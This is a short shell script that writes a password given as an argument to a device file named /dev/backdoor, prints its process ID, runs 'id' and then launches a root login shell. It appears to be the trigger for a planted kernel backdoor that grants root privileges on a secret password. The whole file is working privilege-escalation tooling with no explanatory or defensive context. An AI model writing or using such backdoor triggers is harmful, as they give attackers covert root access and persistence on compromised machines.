#!/bin/sh
set -e

dev="/dev/backdoor"

if [ $# -lt 1 ]; then
	echo "Usage: $0 [password]" >&2
	exit 1
fi

echo "PID: $$"

passwd="$1"

printf "%s" "$passwd" >"$dev"
id
exec su -l root
